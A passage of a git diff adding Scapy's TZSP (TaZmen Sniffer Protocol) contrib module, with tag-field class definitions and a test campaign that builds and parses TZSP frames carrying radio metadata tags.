'PACKET_COUNT', + TAG_TYPE_RX_FRAME_LENGTH: 'RX_FRAME_LENGTH', + TAG_TYPE_WLAN_RADIO_HDR_SERIAL: 'WLAN_RADIO_HDR_SERIAL' + } + + def guess_payload_class(self, payload): + return _tzsp_guess_next_tag(payload) + + +class TZSPStructureException(Scapy_Exception): + pass + + +class TZSPTagPadding(_TZSPTag): + """ + padding tag (should be ignored) + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_PADDING, _TZSPTag.TAG_TYPES), + ] + + +class TZSPTagEnd(Packet): + """ + last tag + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_END, _TZSPTag.TAG_TYPES), + ] + + def guess_payload_class(self, payload): + """ + the type of the payload encapsulation is given be the outer TZSP layers attribute encapsulation_protocol # noqa: E501 + """ + + under_layer = self.underlayer + tzsp_header = None + + while under_layer: + if isinstance(under_layer, TZSP): + tzsp_header = under_layer + break + under_layer = under_layer.underlayer + + if tzsp_header: + + return tzsp_header.get_encapsulated_payload_class() + else: + raise TZSPStructureException('missing parent TZSP header') + + +class TZSPTagRawRSSIByte(_TZSPTag): + """ + relative received signal strength - signed byte value + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES), + ByteField('len', 1), + ByteField('raw_rssi', 0) + ] + + +class TZSPTagRawRSSIShort(_TZSPTag): + """ + relative received signal strength - signed short value + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_RAW_RSSI, _TZSPTag.TAG_TYPES), + ByteField('len', 2), + ShortField('raw_rssi', 0) + ] + + +class TZSPTagSNRByte(_TZSPTag): + """ + signal noise ratio - signed byte value + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES), + ByteField('len', 1), + ByteField('snr', 0) + ] + + +class TZSPTagSNRShort(_TZSPTag): + """ + signal noise ratio - signed short value + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_SNR, _TZSPTag.TAG_TYPES), + ByteField('len', 2), + ShortField('snr', 0) + ] + + +class TZSPTagDataRate(_TZSPTag): + """ + wireless link data rate + """ + DATA_RATE_UNKNOWN = 0x00 + DATA_RATE_1 = 0x02 + DATA_RATE_2 = 0x04 + DATA_RATE_5_5 = 0x0B + DATA_RATE_6 = 0x0C + DATA_RATE_9 = 0x12 + DATA_RATE_11 = 0x16 + DATA_RATE_12 = 0x18 + DATA_RATE_18 = 0x24 + DATA_RATE_22 = 0x2C + DATA_RATE_24 = 0x30 + DATA_RATE_33 = 0x42 + DATA_RATE_36 = 0x48 + DATA_RATE_48 = 0x60 + DATA_RATE_54 = 0x6C + DATA_RATE_LEGACY_1 = 0x0A + DATA_RATE_LEGACY_2 = 0x14 + DATA_RATE_LEGACY_5_5 = 0x37 + DATA_RATE_LEGACY_11 = 0x6E + + DATA_RATES = { + DATA_RATE_UNKNOWN: 'unknown', + DATA_RATE_1: '1 MB/s', + DATA_RATE_2: '2 MB/s', + DATA_RATE_5_5: '5.5 MB/s', + DATA_RATE_6: '6 MB/s', + DATA_RATE_9: '9 MB/s', + DATA_RATE_11: '11 MB/s', + DATA_RATE_12: '12 MB/s', + DATA_RATE_18: '18 MB/s', + DATA_RATE_22: '22 MB/s', + DATA_RATE_24: '24 MB/s', + DATA_RATE_33: '33 MB/s', + DATA_RATE_36: '36 MB/s', + DATA_RATE_48: '48 MB/s', + DATA_RATE_54: '54 MB/s', + DATA_RATE_LEGACY_1: '1 MB/s (legacy)', + DATA_RATE_LEGACY_2: '2 MB/s (legacy)', + DATA_RATE_LEGACY_5_5: '5.5 MB/s (legacy)', + DATA_RATE_LEGACY_11: '11 MB/s (legacy)', + } + + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_DATA_RATE, _TZSPTag.TAG_TYPES), + ByteField('len', 1), + ByteEnumField('data_rate', DATA_RATE_UNKNOWN, DATA_RATES) + ] + + +class TZSPTagTimestamp(_TZSPTag): + """ + MAC receive timestamp + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_TIMESTAMP, _TZSPTag.TAG_TYPES), + ByteField('len', 4), + IntField('timestamp', 0) + ] + + +class TZSPTagContentionFree(_TZSPTag): + """ + packet received in contention free period + """ + NO = 0x00 + YES = 0x01 + + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_CONTENTION_FREE, _TZSPTag.TAG_TYPES), # noqa: E501 + ByteField('len', 1), + YesNoByteField('contention_free', NO) + ] + + +class TZSPTagDecrypted(_TZSPTag): + """ + packet was decrypted + """ + YES = 0x00 + NO = 0x01 + + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_DECRYPTED, _TZSPTag.TAG_TYPES), + ByteField('len', 1), + YesNoByteField('decrypted', NO, config={'yes': YES, 'no': (NO, 0xff)}) + ] + + +class TZSPTagError(_TZSPTag): + """ + frame checksum error + """ + NO = 0x00 + YES = 0x01 + + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_FCS_ERROR, _TZSPTag.TAG_TYPES), + ByteField('len', 1), + YesNoByteField('fcs_error', NO, config={'no': NO, 'yes': YES, 'reserved': (YES + 1, 0xff)}) # noqa: E501 + ] + + +class TZSPTagRXChannel(_TZSPTag): + """ + channel the sensor was on while receiving the frame + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_CHANNEL, _TZSPTag.TAG_TYPES), # noqa: E501 + ByteField('len', 1), + ByteField('rx_channel', 0) + ] + + +class TZSPTagPacketCount(_TZSPTag): + """ + packet counter + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_PACKET_COUNT, _TZSPTag.TAG_TYPES), # noqa: E501 + ByteField('len', 4), + IntField('packet_count', 0) + ] + + +class TZSPTagRXFrameLength(_TZSPTag): + """ + received packet length + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH, _TZSPTag.TAG_TYPES), # noqa: E501 + ByteField('len', 2), + ShortField('rx_frame_length', 0) + ] + + +class TZSPTagWlanRadioHdrSerial(_TZSPTag): + """ + (vendor specific) unique capture device (sensor/AP) identifier + """ + fields_desc = [ + ByteEnumField('type', _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL, _TZSPTag.TAG_TYPES), # noqa: E501 + FieldLenField('len', None, length_of='sensor_id', fmt='b'), + StrLenField('sensor_id', '', length_from=lambda pkt:pkt.len) + ] + + +class TZSPTagUnknown(_TZSPTag): + """ + unknown tag type dummy + """ + fields_desc = [ + ByteField('type', 0xff), + FieldLenField('len', None, length_of='data', fmt='b'), + XStrLenField('data', '', length_from=lambda pkt: pkt.len) + ] + + +_TZSP_TAG_CLASSES = { + _TZSPTag.TAG_TYPE_PADDING: TZSPTagPadding, + _TZSPTag.TAG_TYPE_END: TZSPTagEnd, + _TZSPTag.TAG_TYPE_RAW_RSSI: {1: TZSPTagRawRSSIByte, 2: TZSPTagRawRSSIShort}, # noqa: E501 + _TZSPTag.TAG_TYPE_SNR: {1: TZSPTagSNRByte, 2: TZSPTagSNRShort}, + _TZSPTag.TAG_TYPE_DATA_RATE: TZSPTagDataRate, + _TZSPTag.TAG_TYPE_TIMESTAMP: TZSPTagTimestamp, + _TZSPTag.TAG_TYPE_CONTENTION_FREE: TZSPTagContentionFree, + _TZSPTag.TAG_TYPE_DECRYPTED: TZSPTagDecrypted, + _TZSPTag.TAG_TYPE_FCS_ERROR: TZSPTagError, + _TZSPTag.TAG_TYPE_RX_CHANNEL: TZSPTagRXChannel, + _TZSPTag.TAG_TYPE_PACKET_COUNT: TZSPTagPacketCount, + _TZSPTag.TAG_TYPE_RX_FRAME_LENGTH: TZSPTagRXFrameLength, + _TZSPTag.TAG_TYPE_WLAN_RADIO_HDR_SERIAL: TZSPTagWlanRadioHdrSerial +} diff --git a/libs/scapy/contrib/tzsp.uts b/libs/scapy/contrib/tzsp.uts new file mode 100755 index 0000000..73f023e --- /dev/null +++ b/libs/scapy/contrib/tzsp.uts @@ -0,0 +1,653 @@ +% TZSP test campaign + +# +# execute test: +# > test/run_tests -P "load_contrib('tzsp')" -t scapy/contrib/tzsp.uts +# + ++ Basic layer handling + += build basic TZSP frames + +== basic TZSP header - keepalive + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ + IP(src='1.1.1.1', dst='2.2.2.2')/ \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ + TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0) + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_KEEPALIVE) +assert(not tzsp_lyr.payload) + +== basic TZSP header - keepalive + ignored end tag + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ + IP(src='1.1.1.1', dst='2.2.2.2')/ \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ + TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0)/ \ + TZSPTagEnd() + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_KEEPALIVE) +assert(tzsp_lyr.guess_payload_class(tzsp_lyr.payload) is scapy.packet.Raw) + +== basic TZSP header with RX Packet and EndTag + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_end = tzsp_lyr.payload +assert(tzsp_tag_end.type == 1) + +encapsulated_payload = tzsp_lyr.get_encapsulated_payload() +encapsulated_ether_lyr = encapsulated_payload.getlayer(Ether) +assert(encapsulated_ether_lyr.src == '00:03:03:03:03:03') + +== basic TZSP header with RX Packet and Padding + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagPadding() / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_padding = tzsp_lyr.payload +assert(tzsp_tag_padding.type == 0) + +tzsp_tag_end = tzsp_tag_padding.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and RAWRSSI (byte, short) + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagRawRSSIByte(raw_rssi=42) / \ + TZSPTagRawRSSIShort(raw_rssi=12345) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_raw_rssi_byte = tzsp_lyr.payload +assert(tzsp_tag_raw_rssi_byte.type == 10) +assert(tzsp_tag_raw_rssi_byte.raw_rssi == 42) + +tzsp_tag_raw_rssi_short = tzsp_tag_raw_rssi_byte.payload +assert(tzsp_tag_raw_rssi_short.type == 10) +assert(tzsp_tag_raw_rssi_short.raw_rssi == 12345) + +tzsp_tag_end = tzsp_tag_raw_rssi_short.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and SNR (byte, short) + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagSNRByte(snr=23) / \ + TZSPTagSNRShort(snr=54321) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_snr_byte = tzsp_lyr.payload +assert(tzsp_tag_snr_byte.type == 11) +assert(tzsp_tag_snr_byte.len == 1) +assert(tzsp_tag_snr_byte.snr == 23) + +tzsp_tag_snr_short = tzsp_tag_snr_byte.payload +assert(tzsp_tag_snr_short.type == 11) +assert(tzsp_tag_snr_short.len == 2) +assert(tzsp_tag_snr_short.snr == 54321) + +tzsp_tag_end = tzsp_tag_snr_short.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and DATA Rate + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagDataRate(data_rate=TZSPTagDataRate.DATA_RATE_33) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_data_rate = tzsp_lyr.payload +assert(tzsp_tag_data_rate.type == 12) +assert(tzsp_tag_data_rate.len == 1) +assert(tzsp_tag_data_rate.data_rate == TZSPTagDataRate.DATA_RATE_33) + +tzsp_tag_end = tzsp_tag_data_rate.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and Timestamp + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagTimestamp(timestamp=0x11223344) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_timestamp = tzsp_lyr.payload +assert(tzsp_tag_timestamp.type == 13) +assert(tzsp_tag_timestamp.len == 4) +assert(tzsp_tag_timestamp.timestamp == 0x11223344) + +tzsp_tag_end = tzsp_tag_timestamp.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and ContentionFree + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagContentionFree(contention_free=TZSPTagContentionFree.NO) / \ + TZSPTagContentionFree(contention_free=TZSPTagContentionFree.YES) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_contention_free_no = tzsp_lyr.payload +assert(tzsp_tag_contention_free_no.type == 15) +assert(tzsp_tag_contention_free_no.len == 1) +assert(tzsp_tag_contention_free_no.contention_free == TZSPTagContentionFree.NO) + +tzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload +assert(tzsp_tag_contention_free_yes.type == 15) +assert(tzsp_tag_contention_free_yes.len == 1) +assert(tzsp_tag_contention_free_yes.contention_free == TZSPTagContentionFree.YES) + +tzsp_tag_end = tzsp_tag_contention_free_yes.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and Decrypted + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO) / \ + TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_decrypted_no = tzsp_lyr.payload +assert(tzsp_tag_decrypted_no.type == 16) +assert(tzsp_tag_decrypted_no.len == 1) +assert(tzsp_tag_decrypted_no.decrypted == TZSPTagDecrypted.NO) + +tzsp_tag_decrypted_yes= tzsp_tag_decrypted_no.payload +assert(tzsp_tag_decrypted_yes.type == 16) +assert(tzsp_tag_decrypted_yes.len == 1) +assert(tzsp_tag_decrypted_yes.decrypted == TZSPTagDecrypted.YES) + +tzsp_tag_end = tzsp_tag_decrypted_yes.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and FCS error + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagError(fcs_error=TZSPTagError.NO) / \ + TZSPTagError(fcs_error=TZSPTagError.YES) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_error_no = tzsp_lyr.payload +assert(tzsp_tag_error_no.type == 17) +assert(tzsp_tag_error_no.len == 1) +assert(tzsp_tag_error_no.fcs_error == TZSPTagError.NO) + +tzsp_tag_error_yes = tzsp_tag_error_no.payload +assert(tzsp_tag_error_yes.type == 17) +assert(tzsp_tag_error_yes.len == 1) +assert(tzsp_tag_error_yes.fcs_error == TZSPTagError.YES) + +tzsp_tag_end = tzsp_tag_error_yes.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and RXChannel + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagRXChannel(rx_channel=123) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_rx_channel = tzsp_lyr.payload +assert(tzsp_tag_rx_channel.type == 18) +assert(tzsp_tag_rx_channel.len == 1) +assert(tzsp_tag_rx_channel.rx_channel == 123) + +tzsp_tag_end = tzsp_tag_rx_channel.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and Packet count + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagPacketCount(packet_count=0x44332211) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_packet_count = tzsp_lyr.payload +assert(tzsp_tag_packet_count.type == 40) +assert(tzsp_tag_packet_count.len == 4) +assert(tzsp_tag_packet_count.packet_count == 0x44332211) + +tzsp_tag_end = tzsp_tag_packet_count.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and RXFrameLength + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagRXFrameLength(rx_frame_length=0xbad0) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_frame_length = tzsp_lyr.payload +assert(tzsp_tag_frame_length.type == 41) +assert(tzsp_tag_frame_length.len == 2) +assert(tzsp_tag_frame_length.rx_frame_length == 0xbad0) + +tzsp_tag_end = tzsp_tag_frame_length.payload +assert(tzsp_tag_end.type == 1) + +== basic TZSP header with RX Packet and WLAN RADIO HDR SERIAL + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +SENSOR_ID = b'1E:AT:DE:AD:BE:EF' + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr.type == TZSP.TYPE_RX_PACKET) + +tzsp_tag_sensor_id = tzsp_lyr.payload +assert(tzsp_tag_sensor_id.type == 60) +assert(tzsp_tag_sensor_id.len == len(SENSOR_ID)) +assert(tzsp_tag_sensor_id.sensor_id == SENSOR_ID) + +tzsp_tag_end = tzsp_tag_sensor_id.payload +assert(tzsp_tag_end.type == 1) + +== handling of unknown tag + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +SENSOR_ID = b'1E:AT:DE:AD:BE:EF' + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ + IP(src='1.1.1.1', dst='2.2.2.2') / \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ + TZSP() / \ + TZSPTagUnknown(len=6, data=b'\x06\x05\x04\x03\x02\x01') / \ + TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \ + TZSPTagEnd() / \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ + Raw('foobar') + +frm = frm.build() +frm = Ether(frm) + +tzsp_lyr = frm.getlayer(TZSP) +assert(tzsp_lyr) +tzsp_tag_unknown = tzsp_lyr.payload +assert(type(tzsp_tag_unknown) is TZSPTagUnknown) + += all layers stacked + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ + IP(src='1.1.1.1', dst='2.2.2.2')/ \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ + TZSP()/ \ + TZSPTagRawRSSIByte(raw_rssi=12)/ \ + TZSPTagRawRSSIShort(raw_rssi=1234)/ \ + TZSPTagSNRByte(snr=12)/ \ + TZSPTagSNRShort(snr=1234)/ \ + TZSPTagDataRate(data_rate = TZSPTagDataRate.DATA_RATE_54)/ \ + TZSPTagTimestamp(timestamp=12345)/ \ + TZSPTagContentionFree(contention_free = TZSPTagContentionFree.NO)/ \ + TZSPTagContentionFree(contention_free = TZSPTagContentionFree.YES)/ \ + TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO)/ \ + TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES)/ \ + TZSPTagError(fcs_error = TZSPTagError.YES)/ \ + TZSPTagError(fcs_error = TZSPTagError.NO)/ \ + TZSPTagRXChannel(rx_channel = 42)/ \ + TZSPTagPacketCount(packet_count = 987654)/ \ + TZSPTagRXFrameLength(rx_frame_length = 0x0bad)/ \ + TZSPTagWlanRadioHdrSerial(sensor_id = 'foobar')/ \ + TZSPTagPadding()/ \ + TZSPTagEnd()/ \ + Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \ + ARP() + +frm = frm.build() +frm = Ether(frm) + +tzsp_lyr = frm.getlayer(TZSP) + +tzsp_raw_rssi_byte_lyr = tzsp_lyr.payload +assert(tzsp_raw_rssi_byte_lyr.type == 10) + +tzsp_tag_raw_rssi_short = tzsp_raw_rssi_byte_lyr.payload +assert(tzsp_tag_raw_rssi_short.type == 10) + +tzsp_tag_snr_byte = tzsp_tag_raw_rssi_short.payload +assert(tzsp_tag_snr_byte.type == 11) + +tzsp_tag_snr_short = tzsp_tag_snr_byte.payload +assert(tzsp_tag_snr_short.type == 11) + +tzsp_tag_data_rate = tzsp_tag_snr_short.payload +assert(tzsp_tag_data_rate.type == 12) + +tzsp_tag_timestamp = tzsp_tag_data_rate.payload +assert(tzsp_tag_timestamp.type == 13) + +tzsp_tag_contention_free_no = tzsp_tag_timestamp.payload +assert(tzsp_tag_contention_free_no.type == 15) + +tzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload +assert(tzsp_tag_contention_free_yes.type == 15) + +tzsp_tag_decrypted_no = tzsp_tag_contention_free_yes.payload +assert(tzsp_tag_decrypted_no.type == 16) + +tzsp_tag_decrypted_yes = tzsp_tag_decrypted_no.payload +assert(tzsp_tag_decrypted_yes.type == 16) + +tzsp_tag_error_yes = tzsp_tag_decrypted_yes.payload +assert(tzsp_tag_error_yes.type == 17) + +tzsp_tag_error_no = tzsp_tag_error_yes.payload +assert(tzsp_tag_error_no.type == 17) + +tzsp_tag_rx_channel = tzsp_tag_error_no.payload +assert(tzsp_tag_rx_channel.type == 18) + +tzsp_tag_packet_count = tzsp_tag_rx_channel.payload +assert(tzsp_tag_packet_count.type == 40) + +tzsp_tag_frame_length = tzsp_tag_packet_count.payload +assert(tzsp_tag_frame_length.type == 41) + +tzsp_tag_sensor_id = tzsp_tag_frame_length.payload +assert(tzsp_tag_sensor_id.type == 60) + +tzsp_tag_padding = tzsp_tag_sensor_id.payload +assert(tzsp_tag_padding.type == 0) + +tzsp_tag_end = tzsp_tag_padding.payload +assert(tzsp_tag_end.type == 1) + +encapsulated_payload = tzsp_tag_end.payload +encapsulated_ether_lyr = encapsulated_payload.getlayer(Ether) +assert(encapsulated_ether_lyr.src == '00:03:03:03:03:03') + ++ corner cases + += state tags value range + +== TZSPTagContentionFree + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ + IP(src='1.1.1.1', dst='2.2.2.2')/ \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ + TZSP()/ \ + TZSPTagContentionFree(contention_free = 0xff)/ \ + TZSPTagEnd() + +frm = frm.build() +frm = Ether(frm) +tzsp_tag_contention_free = frm.getlayer(TZSPTagContentionFree) +assert(tzsp_tag_contention_free) +tzsp_tag_contention_free_attr = tzsp_tag_contention_free.get_field('contention_free') +assert(tzsp_tag_contention_free_attr) +symb_str = tzsp_tag_contention_free_attr.i2repr(tzsp_tag_contention_free, tzsp_tag_contention_free.contention_free) +assert(symb_str == 'yes') + +== TZSPTagError + +bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ + IP(src='1.1.1.1', dst='2.2.2.2')/ \ + UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ + TZSP()/ \ + TZSPTagError(fcs_error=TZSPTagError.NO)/ \ + TZSPTagEnd() + +frm = frm.build() +frm = Ether(frm) +tzsp_tag_error = frm.getlayer(TZSPTagError) +assert(tzsp_tag_error) +tzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error') +assert(tzsp_tag_error_attr) +symb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error) +assert(symb_str == 'no') + +frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ + IP(src='1.1.1.1', dst='2.2.2.2')/ \ + UDP(sport=12345, 